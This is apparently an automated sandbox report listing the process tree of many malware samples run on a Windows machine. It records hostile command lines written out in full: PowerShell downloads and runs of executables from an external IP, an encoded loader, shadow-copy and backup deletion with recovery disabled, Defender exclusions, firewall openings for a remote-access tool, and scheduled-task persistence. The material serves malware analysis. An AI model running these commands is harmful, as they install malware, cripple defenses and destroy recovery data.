  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn ywaddmaxhZd /tr "mshta C:\Users\Admin\AppData\Local\Temp\Ip1b6Lrq5.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2840
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\Ip1b6Lrq5.hta
    3⤵
    PID:4160
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'6D4PXTHDRULBQOIPMKIFPWHZYXKPNCWN.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5340
- C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
  "C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"
  2⤵
  PID:868
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 624
    3⤵
    - Program crash
    PID:11128
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 664
    3⤵
    - Program crash
    PID:8980
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 672
    3⤵
    - Program crash
    PID:9256
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 768
    3⤵
    - Program crash
    PID:8864
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 888
    3⤵
    - Program crash
    PID:9996
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 792
    3⤵
    - Program crash
    PID:13612
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 916
    3⤵
    - Program crash
    PID:13344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 1140
    3⤵
    - Program crash
    PID:7008
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 1148
    3⤵
    - Program crash
    PID:4600
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 1372
    3⤵
    - Program crash
    PID:13908
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 1012
    3⤵
    - Program crash
    PID:6400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 660
    3⤵
    - Program crash
    PID:7724
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 1184
    3⤵
    - Program crash
    PID:8312
- C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
  "C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"
  2⤵
  PID:3780
- C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
  "C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"
  2⤵
  PID:1748
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
    3⤵
    PID:8424
  - - C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Roaming\mGxdd.vbs"
      4⤵
      PID:13212
- C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe
  "C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"
  2⤵
  PID:2128
- C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
  "C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"
  2⤵
  PID:5116
- - C:\Windows\splwow64.exe
    C:\Windows\splwow64.exe 12288
    3⤵
    PID:13608
- - C:\ProgramData\6F80.tmp
    "C:\ProgramData\6F80.tmp"
    3⤵
    PID:4252
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\6F80.tmp >> NUL
      4⤵
      PID:7580
- C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe
  "C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"
  2⤵
  PID:3724
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:5628
- C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe
  "C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"
  2⤵
  PID:3768
- - C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    PID:3020
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
      4⤵
      PID:13948
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      4⤵
      PID:14300
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      4⤵
      PID:9568
  - - C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\stop_propaganda.txt
      4⤵
      Opens file in notepad (likely ransom note)
      PID:11452
- C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
  "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
  2⤵
  PID:11920
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:10668
- - C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
    "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
    3⤵
    PID:10676
- C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
  "C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"
  2⤵
  PID:10640
- C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
  "C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"
  2⤵
  PID:11312
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\HACKCR~1.EXE"
    3⤵
    PID:9996
- C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
  "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"
  2⤵
  PID:12028
- - C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
    "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"
    3⤵
    PID:3140
- - C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
    "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"
    3⤵
    PID:8568
- C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe
  "C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"
  2⤵
  PID:4672
- C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe
  "C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"
  2⤵
  PID:8772
- C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe
  "C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"
  2⤵
  PID:12592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 12592 -s 220
    3⤵
    - Program crash
    PID:12872
- C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe
  "C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"
  2⤵
  PID:11176
- C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
  "C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"
  2⤵
  PID:13280
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn E3cE3mavNKn /tr "mshta C:\Users\Admin\AppData\Local\Temp\NwHEmZk7V.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    PID:5164
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn E3cE3mavNKn /tr "mshta C:\Users\Admin\AppData\Local\Temp\NwHEmZk7V.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5448
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\NwHEmZk7V.hta
    3⤵
    PID:6160
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KTQ4RIULBJEOK68OD3LUHRWVKBWPYATZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:12392
- C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe
  "C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"
  2⤵
  PID:15012
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:13696
- C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe
  "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"
  2⤵
  PID:13528
- - C:\Program Files\Java\jre-1.8\bin\javaw.exe
    "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"
    3⤵
    PID:11608
- C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe
  "C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe"
  2⤵
  PID:8220
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:6344
- C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
  "C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe"
  2⤵
  PID:12048
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    PID:11436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath 'C:'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7964
- - C:\Windows\system32\svchost.exe
    "C:\Windows\system32\svchost.exe"
    3⤵
    PID:9024
- C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
  "C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe"
  2⤵
  PID:13092
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\Widget\WIDGET~1.EXE"
    3⤵
    PID:6156
- C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe
  "C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe"
  2⤵
  PID:8060
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:6456
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      4⤵
      PID:9052
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST
      4⤵
      PID:13944
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13256
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST
      4⤵
      PID:7324
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9616
- C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
  "C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe"
  2⤵
  PID:7108
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="#/x!Nu|2NxbWN@" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" enable=yes & exit
    3⤵
    PID:13300
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST & exit
    3⤵
    PID:3096
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:13320
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST & exit
    3⤵
    PID:6492
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1140
- - C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
    "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"
    3⤵
    PID:8676
- C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
  "C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe"
  2⤵
  PID:10324
- - C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    3⤵
    PID:2920
  - - C:\ProgramData\images.exe
      "C:\ProgramData\images.exe"
      4⤵
      PID:14044
    - - C:\ProgramData\images.exe
        
        C:\ProgramData\images.exe
        5⤵
        
        PID:5404
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 80
        6⤵
        Program crash
        
        PID:6528
    - - C:\ProgramData\images.exe
        
        C:\ProgramData\images.exe
        5⤵
        
        PID:7452
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe"
        6⤵
        
        PID:12480
- - C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    3⤵
    PID:6760
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 80
      4⤵
      Program crash
      PID:8860
- C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
  "C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
  2⤵
  PID:10356
- - C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
    "C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
    3⤵
    PID:11888
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "DSL Subsystem" /xml "C:\Users\Admin\AppData\Local\Temp\tmpAF3.tmp"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:12128
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "DSL Subsystem Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp330D.tmp"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9696
- C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
  "C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe"
  2⤵
  PID:11144
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
    3⤵
    PID:7252
- C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
  "C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe"
  2⤵
  PID:15224
- C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe
  "C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe"
  2⤵
  PID:6224
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6224 -s 1816
    3⤵
    - Program crash
    PID:12760
- C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe
  "C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe"
  2⤵
  PID:13564
- C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe
  "C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"
  2⤵
  PID:8560
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks.exe" /Run /TN "OneDrive Per-Machine Standalone Update Task2"
    3⤵
    PID:9752
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C timeout 1 && del "C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"
    3⤵
    PID:10608
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:12988
- C:\Users\Admin\AppData\Local\Temp\f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe
  "C:\Users\Admin\AppData\Local\Temp\f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe"
  2⤵
  PID:13692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAaQB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBkAGYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeABzAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBpAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBjAGgAcgBpAHMANwA2ADQANQAvAHIAZQBwAG8ALwByAGUAbABlAGEAcwBlAHMALwBkAG8AdwBuAGwAbwBhAGQALwBhAC8AUwB0AGUAYQBtAEQAYQB0AGEALgBlAHgAZQAnACwAIAA8ACMAZABqAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHkAegAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHgAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB3AGkAbgAzADIALgBlAHgAZQAnACkAKQA8ACMAegB4AGoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgBwAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAZwBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHcAaQBuADMAMgAuAGUAeABlACcAKQA8ACMAZwBnAHoAIwA+AA=="
    3⤵
    PID:9200
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\win32.exe"
      4⤵
      PID:7356
- C:\Users\Admin\AppData\Local\Temp\f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe
  "C:\Users\Admin\AppData\Local\Temp\f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe"
  2⤵
  PID:9852
- C:\Users\Admin\AppData\Local\Temp\ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe
  "C:\Users\Admin\AppData\Local\Temp\ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe"
  2⤵
  PID:8232
- C:\Users\Admin\AppData\Local\Temp\dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe
  "C:\Users\Admin\AppData\Local\Temp\dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe"
  2⤵
  PID:8268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:9908

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:8696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:11972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 868 -ip 868
1⤵
PID:8676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:11112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 868 -ip 868
1⤵
PID:8028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:11816

C:\Windows\system32\mshta.exe
mshta
1⤵
PID:11688

C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe
"C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe"
1⤵
PID:9516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:13884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 868 -ip 868
1⤵
PID:13912
